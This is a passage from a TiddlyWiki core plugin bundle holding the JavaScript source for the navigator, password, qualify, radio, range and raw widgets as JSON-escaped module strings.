title;\n\t}\n\t// Seek confirmation\n\tif((this.wiki.getTiddler(originalTitle) || (tiddler.fields.text || \"\") !== \"\") && !confirm($tw.language.getString(\n\t\t\t\t\"ConfirmDeleteTiddler\",\n\t\t\t\t{variables:\n\t\t\t\t\t{title: confirmationTitle}\n\t\t\t\t}\n\t\t\t))) {\n\t\treturn false;\n\t}\n\t// Delete the original tiddler\n\tif(originalTitle) {\n\t\tif(originalTiddler) {\n\t\t\t$tw.hooks.invokeHook(\"th-deleting-tiddler\",originalTiddler);\n\t\t}\n\t\tthis.wiki.deleteTiddler(originalTitle);\n\t\tthis.removeTitleFromStory(storyList,originalTitle);\n\t}\n\t// Invoke the hook function and delete this tiddler\n\t$tw.hooks.invokeHook(\"th-deleting-tiddler\",tiddler);\n\tthis.wiki.deleteTiddler(title);\n\t// Remove the closed tiddler from the story\n\tthis.removeTitleFromStory(storyList,title);\n\tthis.saveStoryList(storyList);\n\t// Trigger an autosave\n\t$tw.rootWidget.dispatchEvent({type: \"tm-auto-save-wiki\"});\n\treturn false;\n};\n\n/*\nCreate/reuse the draft tiddler for a given title\n*/\nNavigatorWidget.prototype.makeDraftTiddler = function(targetTitle) {\n\t// See if there is already a draft tiddler for this tiddler\n\tvar draftTitle = this.wiki.findDraft(targetTitle);\n\tif(draftTitle) {\n\t\treturn this.wiki.getTiddler(draftTitle);\n\t}\n\t// Get the current value of the tiddler we're editing\n\tvar tiddler = this.wiki.getTiddler(targetTitle);\n\t// Save the initial value of the draft tiddler\n\tdraftTitle = this.generateDraftTitle(targetTitle);\n\tvar draftTiddler = new $tw.Tiddler(\n\t\t\ttiddler,\n\t\t\t{\n\t\t\t\ttitle: draftTitle,\n\t\t\t\t\"draft.title\": targetTitle,\n\t\t\t\t\"draft.of\": targetTitle\n\t\t\t},\n\t\t\tthis.wiki.getModificationFields()\n\t\t);\n\tthis.wiki.addTiddler(draftTiddler);\n\treturn draftTiddler;\n};\n\n/*\nGenerate a title for the draft of a given tiddler\n*/\nNavigatorWidget.prototype.generateDraftTitle = function(title) {\n\tvar c = 0,\n\t\tdraftTitle,\n\t\tusername = this.wiki.getTiddlerText(\"$:/status/UserName\"),\n\t\tattribution = username ? \" by \" + username : \"\";\n\tdo {\n\t\tdraftTitle = \"Draft \" + (c ? (c + 1) + \" \" : \"\") + \"of '\" + title + \"'\" + attribution;\n\t\tc++;\n\t} while(this.wiki.tiddlerExists(draftTitle));\n\treturn draftTitle;\n};\n\n// Take a tiddler out of edit mode, saving the changes\nNavigatorWidget.prototype.handleSaveTiddlerEvent = function(event) {\n\tvar title = event.param || event.tiddlerTitle,\n\t\ttiddler = this.wiki.getTiddler(title),\n\t\tstoryList = this.getStoryList();\n\t// Replace the original tiddler with the draft\n\tif(tiddler) {\n\t\tvar draftTitle = (tiddler.fields[\"draft.title\"] || \"\").trim(),\n\t\t\tdraftOf = (tiddler.fields[\"draft.of\"] || \"\").trim();\n\t\tif(draftTitle) {\n\t\t\tvar isRename = draftOf !== draftTitle,\n\t\t\t\tisConfirmed = true;\n\t\t\tif(isRename && this.wiki.tiddlerExists(draftTitle)) {\n\t\t\t\tisConfirmed = confirm($tw.language.getString(\n\t\t\t\t\t\"ConfirmOverwriteTiddler\",\n\t\t\t\t\t{variables:\n\t\t\t\t\t\t{title: draftTitle}\n\t\t\t\t\t}\n\t\t\t\t));\n\t\t\t}\n\t\t\tif(isConfirmed) {\n\t\t\t\t// Create the new tiddler and pass it through the th-saving-tiddler hook\n\t\t\t\tvar newTiddler = new $tw.Tiddler(this.wiki.getCreationFields(),tiddler,{\n\t\t\t\t\ttitle: draftTitle,\n\t\t\t\t\t\"draft.title\": undefined,\n\t\t\t\t\t\"draft.of\": undefined\n\t\t\t\t},this.wiki.getModificationFields());\n\t\t\t\tnewTiddler = $tw.hooks.invokeHook(\"th-saving-tiddler\",newTiddler);\n\t\t\t\tthis.wiki.addTiddler(newTiddler);\n\t\t\t\t// If enabled, relink references to renamed tiddler\n\t\t\t\tvar shouldRelink = this.getAttribute(\"relinkOnRename\",\"no\").toLowerCase().trim() === \"yes\";\n\t\t\t\tif(isRename && shouldRelink && this.wiki.tiddlerExists(draftOf)) {\nconsole.log(\"Relinking '\" + draftOf + \"' to '\" + draftTitle + \"'\");\n\t\t\t\t\tthis.wiki.relinkTiddler(draftOf,draftTitle);\n\t\t\t\t}\n\t\t\t\t// Remove the draft tiddler\n\t\t\t\tthis.wiki.deleteTiddler(title);\n\t\t\t\t// Remove the original tiddler if we're renaming it\n\t\t\t\tif(isRename) {\n\t\t\t\t\tthis.wiki.deleteTiddler(draftOf);\n\t\t\t\t}\n\t\t\t\t// #2381 always remove new title & old\n\t\t\t\tthis.removeTitleFromStory(storyList,draftTitle);\n\t\t\t\tthis.removeTitleFromStory(storyList,draftOf);\n\t\t\t\tif(!event.paramObject || event.paramObject.suppressNavigation !== \"yes\") {\n\t\t\t\t\t// Replace the draft in the story with the original\n\t\t\t\t\tthis.replaceFirstTitleInStory(storyList,title,draftTitle);\n\t\t\t\t\tthis.addToHistory(draftTitle,event.navigateFromClientRect);\n\t\t\t\t\tif(draftTitle !== this.storyTitle) {\n\t\t\t\t\t\tthis.saveStoryList(storyList);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\t// Trigger an autosave\n\t\t\t\t$tw.rootWidget.dispatchEvent({type: \"tm-auto-save-wiki\"});\n\t\t\t}\n\t\t}\n\t}\n\treturn false;\n};\n\n// Take a tiddler out of edit mode without saving the changes\nNavigatorWidget.prototype.handleCancelTiddlerEvent = function(event) {\n\tevent = $tw.hooks.invokeHook(\"th-cancelling-tiddler\", event);\n\t// Flip the specified tiddler from draft back to the original\n\tvar draftTitle = event.param || event.tiddlerTitle,\n\t\tdraftTiddler = this.wiki.getTiddler(draftTitle),\n\t\toriginalTitle = draftTiddler && draftTiddler.fields[\"draft.of\"];\n\tif(draftTiddler && originalTitle) {\n\t\t// Ask for confirmation if the tiddler text has changed\n\t\tvar isConfirmed = true,\n\t\t\toriginalTiddler = this.wiki.getTiddler(originalTitle),\n\t\t\tstoryList = this.getStoryList();\n\t\tif(this.wiki.isDraftModified(draftTitle)) {\n\t\t\tisConfirmed = confirm($tw.language.getString(\n\t\t\t\t\"ConfirmCancelTiddler\",\n\t\t\t\t{variables:\n\t\t\t\t\t{title: draftTitle}\n\t\t\t\t}\n\t\t\t));\n\t\t}\n\t\t// Remove the draft tiddler\n\t\tif(isConfirmed) {\n\t\t\tthis.wiki.deleteTiddler(draftTitle);\n\t\t\tif(!event.paramObject || event.paramObject.suppressNavigation !== \"yes\") {\n\t\t\t\tif(originalTiddler) {\n\t\t\t\t\tthis.replaceFirstTitleInStory(storyList,draftTitle,originalTitle);\n\t\t\t\t\tthis.addToHistory(originalTitle,event.navigateFromClientRect);\n\t\t\t\t} else {\n\t\t\t\t\tthis.removeTitleFromStory(storyList,draftTitle);\n\t\t\t\t}\n\t\t\t\tthis.saveStoryList(storyList);\n\t\t\t}\n\t\t}\n\t}\n\treturn false;\n};\n\n// Create a new draft tiddler\n// event.param can either be the title of a template tiddler, or a hashmap of fields.\n//\n// The title of the newly created tiddler follows these rules:\n// * If a hashmap was used and a title field was specified, use that title\n// * If a hashmap was used without a title field, use a default title, if necessary making it unique with a numeric suffix\n// * If a template tiddler was used, use the title of the template, if necessary making it unique with a numeric suffix\n//\n// If a draft of the target tiddler already exists then it is reused\nNavigatorWidget.prototype.handleNewTiddlerEvent = function(event) {\n\tevent = $tw.hooks.invokeHook(\"th-new-tiddler\", event);\n\t// Get the story details\n\tvar storyList = this.getStoryList(),\n\t\ttemplateTiddler, additionalFields, title, draftTitle, existingTiddler;\n\t// Get the template tiddler (if any)\n\tif(typeof event.param === \"string\") {\n\t\t// Get the template tiddler\n\t\ttemplateTiddler = this.wiki.getTiddler(event.param);\n\t\t// Generate a new title\n\t\ttitle = this.wiki.generateNewTitle(event.param || $tw.language.getString(\"DefaultNewTiddlerTitle\"));\n\t}\n\t// Get the specified additional fields\n\tif(typeof event.paramObject === \"object\") {\n\t\tadditionalFields = event.paramObject;\n\t}\n\tif(typeof event.param === \"object\") { // Backwards compatibility with 5.1.3\n\t\tadditionalFields = event.param;\n\t}\n\tif(additionalFields && additionalFields.title) {\n\t\ttitle = additionalFields.title;\n\t}\n\t// Make a copy of the additional fields excluding any blank ones\n\tvar filteredAdditionalFields = $tw.utils.extend({},additionalFields);\n\tObject.keys(filteredAdditionalFields).forEach(function(fieldName) {\n\t\tif(filteredAdditionalFields[fieldName] === \"\") {\n\t\t\tdelete filteredAdditionalFields[fieldName];\n\t\t}\n\t});\n\t// Generate a title if we don't have one\n\ttitle = title || this.wiki.generateNewTitle($tw.language.getString(\"DefaultNewTiddlerTitle\"));\n\t// Find any existing draft for this tiddler\n\tdraftTitle = this.wiki.findDraft(title);\n\t// Pull in any existing tiddler\n\tif(draftTitle) {\n\t\texistingTiddler = this.wiki.getTiddler(draftTitle);\n\t} else {\n\t\tdraftTitle = this.generateDraftTitle(title);\n\t\texistingTiddler = this.wiki.getTiddler(title);\n\t}\n\t// Merge the tags\n\tvar mergedTags = [];\n\tif(existingTiddler && existingTiddler.fields.tags) {\n\t\t$tw.utils.pushTop(mergedTags,existingTiddler.fields.tags);\n\t}\n\tif(additionalFields && additionalFields.tags) {\n\t\t// Merge tags\n\t\tmergedTags = $tw.utils.pushTop(mergedTags,$tw.utils.parseStringArray(additionalFields.tags));\n\t}\n\tif(templateTiddler && templateTiddler.fields.tags) {\n\t\t// Merge tags\n\t\tmergedTags = $tw.utils.pushTop(mergedTags,templateTiddler.fields.tags);\n\t}\n\t// Save the draft tiddler\n\tvar draftTiddler = new $tw.Tiddler({\n\t\t\ttext: \"\",\n\t\t\t\"draft.title\": title\n\t\t},\n\t\ttemplateTiddler,\n\t\tadditionalFields,\n\t\tthis.wiki.getCreationFields(),\n\t\texistingTiddler,\n\t\tfilteredAdditionalFields,\n\t\t{\n\t\t\ttitle: draftTitle,\n\t\t\t\"draft.of\": title,\n\t\t\ttags: mergedTags\n\t\t},this.wiki.getModificationFields());\n\tthis.wiki.addTiddler(draftTiddler);\n\t// Update the story to insert the new draft at the top and remove any existing tiddler\n\tif(storyList.indexOf(draftTitle) === -1) {\n\t\tvar slot = storyList.indexOf(event.navigateFromTitle);\n\t\tif(slot === -1) {\n\t\t\tslot = this.getAttribute(\"openLinkFromOutsideRiver\",\"top\") === \"bottom\" ? storyList.length - 1 : slot;\n\t\t}\n\t\tstoryList.splice(slot + 1,0,draftTitle);\n\t}\n\tif(storyList.indexOf(title) !== -1) {\n\t\tstoryList.splice(storyList.indexOf(title),1);\n\t}\n\tthis.saveStoryList(storyList);\n\t// Add a new record to the top of the history stack\n\tthis.addToHistory(draftTitle);\n\treturn false;\n};\n\n// Import JSON tiddlers into a pending import tiddler\nNavigatorWidget.prototype.handleImportTiddlersEvent = function(event) {\n\t// Get the tiddlers\n\tvar tiddlers = [];\n\ttry {\n\t\ttiddlers = JSON.parse(event.param);\n\t} catch(e) {\n\t}\n\t// Get the current $:/Import tiddler\n\tvar importTiddler = this.wiki.getTiddler(IMPORT_TITLE),\n\t\timportData = this.wiki.getTiddlerData(IMPORT_TITLE,{}),\n\t\tnewFields = new Object({\n\t\t\ttitle: IMPORT_TITLE,\n\t\t\ttype: \"application/json\",\n\t\t\t\"plugin-type\": \"import\",\n\t\t\t\"status\": \"pending\"\n\t\t}),\n\t\tincomingTiddlers = [];\n\t// Process each tiddler\n\timportData.tiddlers = importData.tiddlers || {};\n\t$tw.utils.each(tiddlers,function(tiddlerFields) {\n\t\ttiddlerFields.title = $tw.utils.trim(tiddlerFields.title);\n\t\tvar title = tiddlerFields.title;\n\t\tif(title) {\n\t\t\tincomingTiddlers.push(title);\n\t\t\timportData.tiddlers[title] = tiddlerFields;\n\t\t}\n\t});\n\t// Give the active upgrader modules a chance to process the incoming tiddlers\n\tvar messages = this.wiki.invokeUpgraders(incomingTiddlers,importData.tiddlers);\n\t$tw.utils.each(messages,function(message,title) {\n\t\tnewFields[\"message-\" + title] = message;\n\t});\n\t// Deselect any suppressed tiddlers\n\t$tw.utils.each(importData.tiddlers,function(tiddler,title) {\n\t\tif($tw.utils.count(tiddler) === 0) {\n\t\t\tnewFields[\"selection-\" + title] = \"unchecked\";\n\t\t}\n\t});\n\t// Save the $:/Import tiddler\n\tnewFields.text = JSON.stringify(importData,null,$tw.config.preferences.jsonSpaces);\n\tthis.wiki.addTiddler(new $tw.Tiddler(importTiddler,newFields));\n\t// Update the story and history details\n\tif(this.getVariable(\"tv-auto-open-on-import\") !== \"no\") {\n\t\tvar storyList = this.getStoryList(),\n\t\t\thistory = [];\n\t\t// Add it to the story\n\t\tif(storyList.indexOf(IMPORT_TITLE) === -1) {\n\t\t\tstoryList.unshift(IMPORT_TITLE);\n\t\t}\n\t\t// And to history\n\t\thistory.push(IMPORT_TITLE);\n\t\t// Save the updated story and history\n\t\tthis.saveStoryList(storyList);\n\t\tthis.addToHistory(history);\n\t}\n\treturn false;\n};\n\n//\nNavigatorWidget.prototype.handlePerformImportEvent = function(event) {\n\tvar self = this,\n\t\timportTiddler = this.wiki.getTiddler(event.param),\n\t\timportData = this.wiki.getTiddlerDataCached(event.param,{tiddlers: {}}),\n\t\timportReport = [];\n\t// Add the tiddlers to the store\n\timportReport.push($tw.language.getString(\"Import/Imported/Hint\") + \"\\n\");\n\t$tw.utils.each(importData.tiddlers,function(tiddlerFields) {\n\t\tvar title = tiddlerFields.title;\n\t\tif(title && importTiddler && importTiddler.fields[\"selection-\" + title] !== \"unchecked\") {\n\t\t\tvar tiddler = new $tw.Tiddler(tiddlerFields);\n\t\t\ttiddler = $tw.hooks.invokeHook(\"th-importing-tiddler\",tiddler);\n\t\t\tself.wiki.addTiddler(tiddler);\n\t\t\timportReport.push(\"# [[\" + tiddlerFields.title + \"]]\");\n\t\t}\n\t});\n\t// Replace the $:/Import tiddler with an import report\n\tthis.wiki.addTiddler(new $tw.Tiddler({\n\t\ttitle: event.param,\n\t\ttext: importReport.join(\"\\n\"),\n\t\t\"status\": \"complete\"\n\t}));\n\t// Navigate to the $:/Import tiddler\n\tthis.addToHistory([event.param]);\n\t// Trigger an autosave\n\t$tw.rootWidget.dispatchEvent({type: \"tm-auto-save-wiki\"});\n};\n\nNavigatorWidget.prototype.handleFoldTiddlerEvent = function(event) {\n\tvar paramObject = event.paramObject || {};\n\tif(paramObject.foldedState) {\n\t\tvar foldedState = this.wiki.getTiddlerText(paramObject.foldedState,\"show\") === \"show\" ? \"hide\" : \"show\";\n\t\tthis.wiki.setText(paramObject.foldedState,\"text\",null,foldedState);\n\t}\n};\n\nNavigatorWidget.prototype.handleFoldOtherTiddlersEvent = function(event) {\n\tvar self = this,\n\t\tparamObject = event.paramObject || {},\n\t\tprefix = paramObject.foldedStatePrefix;\n\t$tw.utils.each(this.getStoryList(),function(title) {\n\t\tself.wiki.setText(prefix + title,\"text\",null,event.param === title ? \"show\" : \"hide\");\n\t});\n};\n\nNavigatorWidget.prototype.handleFoldAllTiddlersEvent = function(event) {\n\tvar self = this,\n\t\tparamObject = event.paramObject || {},\n\t\tprefix = paramObject.foldedStatePrefix;\n\t$tw.utils.each(this.getStoryList(),function(title) {\n\t\tself.wiki.setText(prefix + title,\"text\",null,\"hide\");\n\t});\n};\n\nNavigatorWidget.prototype.handleUnfoldAllTiddlersEvent = function(event) {\n\tvar self = this,\n\t\tparamObject = event.paramObject || {},\n\t\tprefix = paramObject.foldedStatePrefix;\n\t$tw.utils.each(this.getStoryList(),function(title) {\n\t\tself.wiki.setText(prefix + title,\"text\",null,\"show\");\n\t});\n};\n\nNavigatorWidget.prototype.handleRenameTiddlerEvent = function(event) {\n\tevent = $tw.hooks.invokeHook(\"th-renaming-tiddler\", event);\n\tvar paramObject = event.paramObject || {},\n\t\tfrom = paramObject.from || event.tiddlerTitle,\n\t\tto = paramObject.to;\n\t$tw.wiki.renameTiddler(from,to);\n};\n\nexports.navigator = NavigatorWidget;\n\n})();\n",
            "type": "application/javascript",
            "module-type": "widget"
        },
        "$:/core/modules/widgets/password.js": {
            "title": "$:/core/modules/widgets/password.js",
            "text": "/*\\\ntitle: $:/core/modules/widgets/password.js\ntype: application/javascript\nmodule-type: widget\n\nPassword widget\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nvar Widget = require(\"$:/core/modules/widgets/widget.js\").widget;\n\nvar PasswordWidget = function(parseTreeNode,options) {\n\tthis.initialise(parseTreeNode,options);\n};\n\n/*\nInherit from the base widget class\n*/\nPasswordWidget.prototype = new Widget();\n\n/*\nRender this widget into the DOM\n*/\nPasswordWidget.prototype.render = function(parent,nextSibling) {\n\t// Save the parent dom node\n\tthis.parentDomNode = parent;\n\t// Compute our attributes\n\tthis.computeAttributes();\n\t// Execute our logic\n\tthis.execute();\n\t// Get the current password\n\tvar password = $tw.browser ? $tw.utils.getPassword(this.passwordName) || \"\" : \"\";\n\t// Create our element\n\tvar domNode = this.document.createElement(\"input\");\n\tdomNode.setAttribute(\"type\",\"password\");\n\tdomNode.setAttribute(\"value\",password);\n\t// Add a click event handler\n\t$tw.utils.addEventListeners(domNode,[\n\t\t{name: \"change\", handlerObject: this, handlerMethod: \"handleChangeEvent\"}\n\t]);\n\t// Insert the label into the DOM and render any children\n\tparent.insertBefore(domNode,nextSibling);\n\tthis.renderChildren(domNode,null);\n\tthis.domNodes.push(domNode);\n};\n\nPasswordWidget.prototype.handleChangeEvent = function(event) {\n\tvar password = this.domNodes[0].value;\n\treturn $tw.utils.savePassword(this.passwordName,password);\n};\n\n/*\nCompute the internal state of the widget\n*/\nPasswordWidget.prototype.execute = function() {\n\t// Get the parameters from the attributes\n\tthis.passwordName = this.getAttribute(\"name\",\"\");\n\t// Make the child widgets\n\tthis.makeChildWidgets();\n};\n\n/*\nSelectively refreshes the widget if needed. Returns true if the widget or any of its children needed re-rendering\n*/\nPasswordWidget.prototype.refresh = function(changedTiddlers) {\n\tvar changedAttributes = this.computeAttributes();\n\tif(changedAttributes.name) {\n\t\tthis.refreshSelf();\n\t\treturn true;\n\t} else {\n\t\treturn this.refreshChildren(changedTiddlers);\n\t}\n};\n\nexports.password = PasswordWidget;\n\n})();\n",
            "type": "application/javascript",
            "module-type": "widget"
        },
        "$:/core/modules/widgets/qualify.js": {
            "title": "$:/core/modules/widgets/qualify.js",
            "text": "/*\\\ntitle: $:/core/modules/widgets/qualify.js\ntype: application/javascript\nmodule-type: widget\n\nQualify text to a variable \n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nvar Widget = require(\"$:/core/modules/widgets/widget.js\").widget;\n\nvar QualifyWidget = function(parseTreeNode,options) {\n\tthis.initialise(parseTreeNode,options);\n};\n\n/*\nInherit from the base widget class\n*/\nQualifyWidget.prototype = new Widget();\n\n/*\nRender this widget into the DOM\n*/\nQualifyWidget.prototype.render = function(parent,nextSibling) {\n\tthis.parentDomNode = parent;\n\tthis.computeAttributes();\n\tthis.execute();\n\tthis.renderChildren(parent,nextSibling);\n};\n\n/*\nCompute the internal state of the widget\n*/\nQualifyWidget.prototype.execute = function() {\n\t// Get our parameters\n\tthis.qualifyName = this.getAttribute(\"name\");\n\tthis.qualifyTitle = this.getAttribute(\"title\");\n\t// Set context variable\n\tif(this.qualifyName) {\n\t\tthis.setVariable(this.qualifyName,this.qualifyTitle + \"-\" + this.getStateQualifier());\n\t}\n\t// Construct the child widgets\n\tthis.makeChildWidgets();\n};\n\n/*\nSelectively refreshes the widget if needed. Returns true if the widget or any of its children needed re-rendering\n*/\nQualifyWidget.prototype.refresh = function(changedTiddlers) {\n\tvar changedAttributes = this.computeAttributes();\n\tif(changedAttributes.name || changedAttributes.title) {\n\t\tthis.refreshSelf();\n\t\treturn true;\n\t} else {\n\t\treturn this.refreshChildren(changedTiddlers);\n\t}\n};\n\nexports.qualify = QualifyWidget;\n\n})();\n",
            "type": "application/javascript",
            "module-type": "widget"
        },
        "$:/core/modules/widgets/radio.js": {
            "title": "$:/core/modules/widgets/radio.js",
            "text": "/*\\\ntitle: $:/core/modules/widgets/radio.js\ntype: application/javascript\nmodule-type: widget\n\nSet a field or index at a given tiddler via radio buttons\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nvar Widget = require(\"$:/core/modules/widgets/widget.js\").widget;\n\nvar RadioWidget = function(parseTreeNode,options) {\n\tthis.initialise(parseTreeNode,options);\n};\n\n/*\nInherit from the base widget class\n*/\nRadioWidget.prototype = new Widget();\n\n/*\nRender this widget into the DOM\n*/\nRadioWidget.prototype.render = function(parent,nextSibling) {\n\t// Save the parent dom node\n\tthis.parentDomNode = parent;\n\t// Compute our attributes\n\tthis.computeAttributes();\n\t// Execute our logic\n\tthis.execute();\n\tvar isChecked = this.getValue() === this.radioValue;\n\t// Create our elements\n\tthis.labelDomNode = this.document.createElement(\"label\");\n\tthis.labelDomNode.setAttribute(\"class\",\n   \t\t\"tc-radio \" + this.radioClass + (isChecked ? \" tc-radio-selected\" : \"\")\n  \t);\n\tthis.inputDomNode = this.document.createElement(\"input\");\n\tthis.inputDomNode.setAttribute(\"type\",\"radio\");\n\tif(isChecked) {\n\t\tthis.inputDomNode.setAttribute(\"checked\",\"true\");\n\t}\n\tthis.labelDomNode.appendChild(this.inputDomNode);\n\tthis.spanDomNode = this.document.createElement(\"span\");\n\tthis.labelDomNode.appendChild(this.spanDomNode);\n\t// Add a click event handler\n\t$tw.utils.addEventListeners(this.inputDomNode,[\n\t\t{name: \"change\", handlerObject: this, handlerMethod: \"handleChangeEvent\"}\n\t]);\n\t// Insert the label into the DOM and render any children\n\tparent.insertBefore(this.labelDomNode,nextSibling);\n\tthis.renderChildren(this.spanDomNode,null);\n\tthis.domNodes.push(this.labelDomNode);\n};\n\nRadioWidget.prototype.getValue = function() {\n\tvar value,\n\t\ttiddler = this.wiki.getTiddler(this.radioTitle);\n\tif (this.radioIndex) {\n\t\tvalue = this.wiki.extractTiddlerDataItem(this.radioTitle,this.radioIndex);\n\t} else {\n\t\tvalue = tiddler && tiddler.getFieldString(this.radioField);\n\t}\n\treturn value;\n};\n\nRadioWidget.prototype.setValue = function() {\n\tif(this.radioIndex) {\n\t\tthis.wiki.setText(this.radioTitle,\"\",this.radioIndex,this.radioValue);\n\t} else {\n\t\tvar tiddler = this.wiki.getTiddler(this.radioTitle),\n\t\t\taddition = {};\n\t\taddition[this.radioField] = this.radioValue;\n\t\tthis.wiki.addTiddler(new $tw.Tiddler(this.wiki.getCreationFields(),{title: this.radioTitle},tiddler,addition,this.wiki.getModificationFields()));\n\t}\n};\n\nRadioWidget.prototype.handleChangeEvent = function(event) {\n\tif(this.inputDomNode.checked) {\n\t\tthis.setValue();\n\t}\n};\n\n/*\nCompute the internal state of the widget\n*/\nRadioWidget.prototype.execute = function() {\n\t// Get the parameters from the attributes\n\tthis.radioTitle = this.getAttribute(\"tiddler\",this.getVariable(\"currentTiddler\"));\n\tthis.radioField = this.getAttribute(\"field\",\"text\");\n\tthis.radioIndex = this.getAttribute(\"index\");\n\tthis.radioValue = this.getAttribute(\"value\");\n\tthis.radioClass = this.getAttribute(\"class\",\"\");\n\t// Make the child widgets\n\tthis.makeChildWidgets();\n};\n\n/*\nSelectively refreshes the widget if needed. Returns true if the widget or any of its children needed re-rendering\n*/\nRadioWidget.prototype.refresh = function(changedTiddlers) {\n\tvar changedAttributes = this.computeAttributes();\n\tif(changedAttributes.tiddler || changedAttributes.field || changedAttributes.index || changedAttributes.value || changedAttributes[\"class\"]) {\n\t\tthis.refreshSelf();\n\t\treturn true;\n\t} else {\n\t\tvar refreshed = false;\n\t\tif(changedTiddlers[this.radioTitle]) {\n\t\t\tthis.inputDomNode.checked = this.getValue() === this.radioValue;\n\t\t\trefreshed = true;\n\t\t}\n\t\treturn this.refreshChildren(changedTiddlers) || refreshed;\n\t}\n};\n\nexports.radio = RadioWidget;\n\n})();\n",
            "type": "application/javascript",
            "module-type": "widget"
        },
        "$:/core/modules/widgets/range.js": {
            "title": "$:/core/modules/widgets/range.js",
            "text": "/*\\\ntitle: $:/core/modules/widgets/range.js\ntype: application/javascript\nmodule-type: widget\n\nRange widget\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nvar Widget = require(\"$:/core/modules/widgets/widget.js\").widget;\n\nvar RangeWidget = function(parseTreeNode,options) {\n\tthis.initialise(parseTreeNode,options);\n};\n\n/*\nInherit from the base widget class\n*/\nRangeWidget.prototype = new Widget();\n\n/*\nRender this widget into the DOM\n*/\nRangeWidget.prototype.render = function(parent,nextSibling) {\n\t// Save the parent dom node\n\tthis.parentDomNode = parent;\n\t// Compute our attributes\n\tthis.computeAttributes();\n\t// Execute our logic\n\tthis.execute();\n\t// Create our elements\n\tthis.inputDomNode = this.document.createElement(\"input\");\n\tthis.inputDomNode.setAttribute(\"type\",\"range\");\n\tthis.inputDomNode.setAttribute(\"class\",this.elementClass);\n\tif(this.minValue){\n\t\tthis.inputDomNode.setAttribute(\"min\", this.minValue);\n\t}\n\tif(this.maxValue){\n\t\tthis.inputDomNode.setAttribute(\"max\", this.maxValue);\n\t}\n\tif(this.increment){\n\t\tthis.inputDomNode.setAttribute(\"step\", this.increment);\n\t}\n\tthis.inputDomNode.value = this.getValue();\n\n\n\t// Add a click event handler\n\t$tw.utils.addEventListeners(this.inputDomNode,[\n\t\t{name: \"input\", handlerObject: this, handlerMethod: \"handleChangeEvent\"}\n\t]);\n\t// Insert the label into the DOM and render any children\n\tparent.insertBefore(this.inputDomNode,nextSibling);\n\tthis.domNodes.push(this.inputDomNode);\n};\n\nRangeWidget.prototype.getValue = function() {\n\tvar tiddler = this.wiki.getTiddler(this.tiddlerTitle),\n\t\tvalue   = this.defaultValue;\n\tif(tiddler) {\n\t\tif($tw.utils.hop(tiddler.fields,this.tiddlerField)) {\n\t\t\tvalue = tiddler.fields[this.tiddlerField] || \"\";\n\t\t} else {\n\t\t\tvalue = this.defaultValue || \"\";\n\t\t}\n\t}\n\treturn value;\n};\n\nRangeWidget.prototype.handleChangeEvent = function(event) {\n\tthis.wiki.setText(this.tiddlerTitle ,this.tiddlerField, null,this.inputDomNode.value);\n};\n\n/*\nCompute the internal state of the widget\n*/\nRangeWidget.prototype.execute = function() {\n\t// Get the parameters from the attributes\n\tthis.tiddlerTitle = this.getAttribute(\"tiddler\",this.getVariable(\"currentTiddler\"));\n\tthis.tiddlerField = this.getAttribute(\"field\");\n\tthis.minValue = this.getAttribute(\"min\");\n\tthis.maxValue = this.getAttribute(\"max\");\n\tthis.increment = this.getAttribute(\"increment\");\n\tthis.defaultValue = this.getAttribute(\"default\");\n\tthis.elementClass = this.getAttribute(\"class\",\"\");\n\t// Make the child widgets\n\tthis.makeChildWidgets();\n};\n\n/*\nSelectively refreshes the widget if needed. Returns true if the widget or any of its children needed re-rendering\n*/\nRangeWidget.prototype.refresh = function(changedTiddlers) {\n\tvar changedAttributes = this.computeAttributes();\n\tif(changedAttributes.tiddler || changedAttributes.field || changedAttributes['min'] || changedAttributes['max'] || changedAttributes['increment'] || changedAttributes[\"default\"] || changedAttributes[\"class\"]) {\n\t\tthis.refreshSelf();\n\t\treturn true;\n\t} else {\n\t\tvar refreshed = false;\n\t\tif(changedTiddlers[this.tiddlerTitle]) {\n\t\t\tthis.inputDomNode.checked = this.getValue();\n\t\t\trefreshed = true;\n\t\t}\n\t\treturn this.refreshChildren(changedTiddlers) || refreshed;\n\t}\n};\n\nexports.range = RangeWidget;\n\n})();\n",
            "type": "application/javascript",
            "module-type": "widget"
        },
        "$:/core/modules/widgets/raw.js": {
            "title": "$:/core/modules/widgets/raw.js",
            "text": "/*\\\ntitle: $:/core/modules/widgets/raw.js\ntype: application/javascript\nmodule-type: widget\n\nRaw widget\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nvar Widget = require(\"$:/core/modules/widgets/widget.js\").widget;\n\nvar RawWidget = function(parseTreeNode,options) {\n\tthis.initialise(parseTreeNode,options);\n};\n\n/*\nInherit from the base widget class\n*/\nRawWidget.prototype = new Widget();\n\n/*\nRender this widget into the DOM\n*/\nRawWidget.prototype.render = function(parent,nextSibling) {\n\tthis.parentDomNode = parent;\n\tthis.execute();\n\tvar div = this.document.createElement(\"div\");\n\tdiv.innerHTML=this.parseTreeNode.html;\n\tparent.insertBefore(div,nextSibling);\n\tthis.domNodes.push(div);\t\n};\n\n/*\nCompute the internal state of the widget\n*/\nRawWidget.prototype.execute = function() {\n};\n\n/*\nSelectively refreshes the widget if needed. Returns true if the widget or any of its children needed re-rendering\n*/\nRawWidget.prototype.refresh = function(changedTiddlers) {\n\treturn false;\n};\n\nexports.raw = RawWidget;\n\n})();\n",
            "type": "application/javascript",
            "module-type": "widget"
        },
        "$:/core/modules/widgets/reveal.js": {
            "title": "$:/core/modules/widgets/reveal.js",
